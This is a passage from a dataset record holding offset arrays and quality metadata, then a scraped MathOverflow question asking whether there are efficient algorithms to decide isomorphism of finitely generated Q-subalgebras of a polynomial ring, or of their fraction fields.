5412,
5413,
5449,
5450,
5602,
5603,
5642,
5643,
5685,
5686,
5839,
5840,
5890,
5891,
5897,
5898,
5951,
5952,
6022,
6023,
6337,
6338,
6339,
6340,
6397,
6398,
6620,
6621,
6664,
6665,
6677,
6678,
6679,
6925,
6926,
7078,
7079,
7096,
7097
],
"line_end_idx": [
2,
3,
51,
52,
94,
95,
429,
430,
472,
473,
560,
561,
639,
640,
709,
710,
771,
772,
1268,
1269,
1287,
1288,
1338,
1339,
1426,
1427,
1444,
1445,
1511,
1512,
1555,
1556,
1928,
1929,
1966,
1967,
2184,
2185,
2212,
2213,
2238,
2239,
2350,
2351,
2375,
2376,
2418,
2419,
2664,
2665,
2704,
2705,
2755,
2756,
3007,
3008,
3049,
3050,
3051,
3052,
3098,
3099,
3142,
3143,
3184,
3185,
3270,
3271,
3700,
3701,
3750,
3751,
3917,
3918,
3955,
3956,
3978,
3979,
4102,
4103,
4104,
4154,
4155,
4336,
4337,
4380,
4381,
4382,
4436,
4437,
4585,
4586,
4715,
4716,
4717,
4763,
4764,
4787,
4788,
5030,
5031,
5052,
5053,
5054,
5090,
5091,
5371,
5372,
5412,
5413,
5449,
5450,
5602,
5603,
5642,
5643,
5685,
5686,
5839,
5840,
5890,
5891,
5897,
5898,
5951,
5952,
6022,
6023,
6337,
6338,
6339,
6340,
6397,
6398,
6620,
6621,
6664,
6665,
6677,
6678,
6679,
6925,
6926,
7078,
7079,
7096,
7097,
7158
]
} | {
"red_pajama_v2": {
"ccnet_original_length": 7158,
"ccnet_original_nlines": 147,
"rps_doc_curly_bracket": 0,
"rps_doc_ldnoobw_words": 0,
"rps_doc_lorem_ipsum": 0,
"rps_doc_stop_word_fraction": 0.33729881048202515,
"rps_doc_ut1_blacklist": 0,
"rps_doc_frac_all_caps_words": 0.017494749277830124,
"rps_doc_frac_lines_end_with_ellipsis": 0,
"rps_doc_frac_no_alph_words": 0.1812456250190735,
"rps_doc_frac_unique_words": 0.28183361887931824,
"rps_doc_mean_word_length": 4.814940452575684,
"rps_doc_num_sentences": 60,
"rps_doc_symbol_to_word_ratio": 0,
"rps_doc_unigram_entropy": 4.942709922790527,
"rps_doc_word_count": 1178,
"rps_doc_frac_chars_dupe_10grams": 0,
"rps_doc_frac_chars_dupe_5grams": 0.07880818098783493,
"rps_doc_frac_chars_dupe_6grams": 0.023977430537343025,
"rps_doc_frac_chars_dupe_7grams": 0,
"rps_doc_frac_chars_dupe_8grams": 0,
"rps_doc_frac_chars_dupe_9grams": 0,
"rps_doc_frac_chars_top_2gram": 0.0401974618434906,
"rps_doc_frac_chars_top_3gram": 0.03014810010790825,
"rps_doc_frac_chars_top_4gram": 0.015514809638261795,
"rps_doc_books_importance": -617.6863403320312,
"rps_doc_books_importance_length_correction": -617.6863403320312,
"rps_doc_openwebtext_importance": -349.93048095703125,
"rps_doc_openwebtext_importance_length_correction": -349.93048095703125,
"rps_doc_wikipedia_importance": -325.0237121582031,
"rps_doc_wikipedia_importance_length_correction": -325.0237121582031
},
"fasttext": {
"dclm": 0.019992170855402946,
"english": 0.8848904967308044,
"fineweb_edu_approx": 1.4008218050003052,
"eai_general_math": 0.015271480195224285,
"eai_open_web_math": 0.10594266653060913,
"eai_web_code": 0.031612578779459
}
} | {
"free_decimal_correspondence": {
"primary": {
"code": "004.68",
"labels": {
"level_1": "General works, books and libraries, information sciences",
"level_2": "",
"level_3": "Computers and Computer science"
}
},
"secondary": {
"code": "621.392",
"labels": {
"level_1": "Industrial arts, Technology, and Engineering",
"level_2": "Engineering",
"level_3": "Mechanical engineering and Machinery"
}
}
},
"bloom_cognitive_process": {
"primary": {
"code": "3",
"label": "Apply"
},
"secondary": {
"code": "2",
"label": "Understand"
}
},
"bloom_knowledge_domain": {
"primary": {
"code": "3",
"label": "Procedural"
},
"secondary": {
"code": "2",
"label": "Conceptual"
}
},
"document_type_v1": {
"primary": {
"code": "3",
"label": "Reference/Encyclopedic/Educational"
},
"secondary": {
"code": "6",
"label": "Promotional/Advertisement"
}
},
"extraction_artifacts": {
"primary": {
"code": "0",
"label": "No Artifacts"
},
"secondary": {
"code": "3",
"label": "Irrelevant Content"
}
},
"missing_content": {
"primary": {
"code": "0",
"label": "No missing content"
},
"secondary": {
"code": "2",
"label": "Click Here References"
}
},
"document_type_v2": {
"primary": {
"code": "23",
"label": "Tutorial"
},
"secondary": {
"code": "21",
"label": "Customer Support"
}
},
"reasoning_depth": {
"primary": {
"code": "2",
"label": "Basic Reasoning"
},
"secondary": {
"code": "1",
"label": "No Reasoning"
}
},
"technical_correctness": {
"primary": {
"code": "4",
"label": "Highly Correct"
},
"secondary": {
"code": "3",
"label": "Mostly Correct"
}
},
"education_level": {
"primary": {
"code": "1",
"label": "General Audience"
},
"secondary": {
"code": "2",
"label": "High School Level"
}
}
} | e3c4dd7183f5f028f56d5a7988cc68c4 |
-5,101,909,068,440,348,000 | Take the 2-minute tour ×
MathOverflow is a question and answer site for professional mathematicians. It's 100% free, no registration required.
Let $A=\mathbf{Q}[x_1,\ldots,x_n]$ be the polynomial ring in $n$ variables over the rational numbers. Let $B=\mathbf{Q}[f_1,\ldots,f_r]$ and $C=\mathbf{Q}[g_1,\ldots,g_s]$ be two finitely generated $\mathbf{Q}$-subalgebras of $A$ with explicit generators.
Q1: Is there a finite time (efficient) algorithm that allows one to say when is $B\simeq C$ as $\mathbf{Q}$-algebra?
Q2: Is there a finite time (efficient) algorithm that allows one to say when is $Frac(B)\simeq Frac(C)$?
Here $Frac(B)$ denotes the fraction field. In both questions I really mean isomorphic and not equal.
share|improve this question
I don't know much about algorithmic questions like this. But: it would probably help to specify whether you are given a set of generators for $B$ and $C$, or whether you merely have some implicit description of these subalgebras. – MTS Jun 9 '12 at 0:06
Since $B$ and $C$ are both subalgebras of the same ring $A$, do you want to know whether they are isomorphic, or whether they are equal? – David Speyer Jun 9 '12 at 0:52
1
@David, here I really mean isomorphic. Equal would be "easy" since one may compute the relation ideal for $B$ and $C$ and then test for equality. – Hugo Chapdelaine Jun 9 '12 at 2:42
@MTS, yes in both cases I have explicit sets of generators. – Hugo Chapdelaine Jun 9 '12 at 2:46
4
mathoverflow.net/questions/21883/… – M P Jun 9 '12 at 3:18
add comment
Your Answer
discard
By posting your answer, you agree to the privacy policy and terms of service.
Browse other questions tagged or ask your own question. | {
"url": "http://mathoverflow.net/questions/99150/testing-isomorphism-of-finitely-generated-algebras",
"source_domain": "mathoverflow.net",
"snapshot_id": "crawl=CC-MAIN-2014-23",
"warc_metadata": {
"Content-Length": "53270",
"Content-Type": "application/http; msgtype=response",
"WARC-Block-Digest": "sha1:FLU5QMWSVEEQSPUHXBTILOGGNXMWZVDB",
"WARC-Concurrent-To": "<urn:uuid:b8de799a-4791-4231-bf73-5a1482eb7a42>",
"WARC-Date": "2014-07-23T14:03:44Z",
"WARC-IP-Address": "198.252.206.24",
"WARC-Identified-Payload-Type": null,
"WARC-Payload-Digest": "sha1:WBWYBREI7YI5ZE3VDYWEOF4SI5HA3MA2",
"WARC-Record-ID": "<urn:uuid:23d326a5-168c-45fb-9c58-dd49dc4beef9>",
"WARC-Target-URI": "http://mathoverflow.net/questions/99150/testing-isomorphism-of-finitely-generated-algebras",
"WARC-Truncated": null,
"WARC-Type": "response",
"WARC-Warcinfo-ID": "<urn:uuid:4824abdc-98d1-459b-bf37-f68d15a402f7>"
},
"warc_info": "robots: classic\r\nhostname: ip-10-33-131-23.ec2.internal\r\nsoftware: Nutch 1.6 (CC)/CC WarcExport 1.0\r\nisPartOf: CC-MAIN-2014-23\r\noperator: CommonCrawl Admin\r\ndescription: Wide crawl of the web with URLs provided by Blekko for July 2014\r\npublisher: CommonCrawl\r\nformat: WARC File Format 1.0\r\nconformsTo: http://bibnum.bnf.fr/WARC/WARC_ISO_28500_version1_latestdraft.pdf"
} | {
"line_start_idx": [
0,
25,
143,
144,
400,
401,
518,
519,
624,
625,
726,
727,
755,
760,
1015,
1020,
1191,
1195,
1379,
1384,
1482,
1486,
1546,
1558,
1559,
1571,
1572,
1574,
1582,
1583,
1661,
1662
],
"line_end_idx": [
25,
143,
144,
400,
401,
518,
519,
624,
625,
726,
727,
755,
760,
1015,
1020,
1191,
1195,
1379,
1384,
1482,
1486,
1546,
1558,
1559,
1571,
1572,
1574,
1582,
1583,
1661,
1662,
1717
]
} | {
"red_pajama_v2": {
"ccnet_original_length": 1717,
"ccnet_original_nlines": 31,
"rps_doc_curly_bracket": 0.005824110005050898,
"rps_doc_ldnoobw_words": 0,
"rps_doc_lorem_ipsum": 0,
"rps_doc_stop_word_fraction": 0.29976019263267517,
"rps_doc_ut1_blacklist": 0,
"rps_doc_frac_all_caps_words": 0.07434052973985672,
"rps_doc_frac_lines_end_with_ellipsis": 0,
"rps_doc_frac_no_alph_words": 0.3285371661186218,
"rps_doc_frac_unique_words": 0.5600000023841858,
"rps_doc_mean_word_length": 4.625454425811768,
"rps_doc_num_sentences": 17,
"rps_doc_symbol_to_word_ratio": 0.0023980799596756697,
"rps_doc_unigram_entropy": 4.815865993499756,
"rps_doc_word_count": 275,
"rps_doc_frac_chars_dupe_10grams": 0.09433961659669876,
"rps_doc_frac_chars_dupe_5grams": 0.1320754736661911,
"rps_doc_frac_chars_dupe_6grams": 0.1320754736661911,
"rps_doc_frac_chars_dupe_7grams": 0.1320754736661911,
"rps_doc_frac_chars_dupe_8grams": 0.09433961659669876,
"rps_doc_frac_chars_dupe_9grams": 0.09433961659669876,
"rps_doc_frac_chars_top_2gram": 0.015723269432783127,
"rps_doc_frac_chars_top_3gram": 0.023584909737110138,
"rps_doc_frac_chars_top_4gram": 0.031446538865566254,
"rps_doc_books_importance": -218.42471313476562,
"rps_doc_books_importance_length_correction": -207.22630310058594,
"rps_doc_openwebtext_importance": -128.71031188964844,
"rps_doc_openwebtext_importance_length_correction": -128.71031188964844,
"rps_doc_wikipedia_importance": -107.64054870605469,
"rps_doc_wikipedia_importance_length_correction": -99.7718276977539
},
"fasttext": {
"dclm": 0.10660356283187866,
"english": 0.8330642580986023,
"fineweb_edu_approx": 1.1631470918655396,
"eai_general_math": 0.04568684101104736,
"eai_open_web_math": 0.4610772132873535,
"eai_web_code": 0.0000011900000345121953
}
} | {
"free_decimal_correspondence": {
"primary": {
"code": "512.4",
"labels": {
"level_1": "Science and Natural history",
"level_2": "Mathematics",
"level_3": "Algebra"
}
},
"secondary": {
"code": "512",
"labels": {
"level_1": "Science and Natural history",
"level_2": "Mathematics",
"level_3": "Algebra"
}
}
},
"bloom_cognitive_process": {
"primary": {
"code": "4",
"label": "Analyze"
},
"secondary": {
"code": "2",
"label": "Understand"
}
},
"bloom_knowledge_domain": {
"primary": {
"code": "2",
"label": "Conceptual"
},
"secondary": {
"code": "3",
"label": "Procedural"
}
},
"document_type_v1": {
"primary": {
"code": "5",
"label": "Social/Forum"
},
"secondary": {
"code": "-1",
"label": "Abstain"
}
},
"extraction_artifacts": {
"primary": {
"code": "3",
"label": "Irrelevant Content"
},
"secondary": {
"code": "0",
"label": "No Artifacts"
}
},
"missing_content": {
"primary": {
"code": "0",
"label": "No missing content"
},
"secondary": {
"code": "-1",
"label": "Abstain"
}
},
"document_type_v2": {
"primary": {
"code": "18",
"label": "Q&A Forum"
},
"secondary": {
"code": "3",
"label": "Academic Writing"
}
},
"reasoning_depth": {
"primary": {
"code": "3",
"label": "Intermediate Reasoning"
},
"secondary": {
"code": "4",
"label": "Advanced Reasoning"
}
},
"technical_correctness": {
"primary": {
"code": "6",
"label": "Not Applicable/Indeterminate"
},
"secondary": {
"code": "4",
"label": "Highly Correct"
}
},
"education_level": {
"primary": {
"code": "4",
"label": "Graduate/Expert Level"
},
"secondary": {
"code": "3",
"label": "Undergraduate Level"
}
}
} | e3c4dd7183f5f028f56d5a7988cc68c4 |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.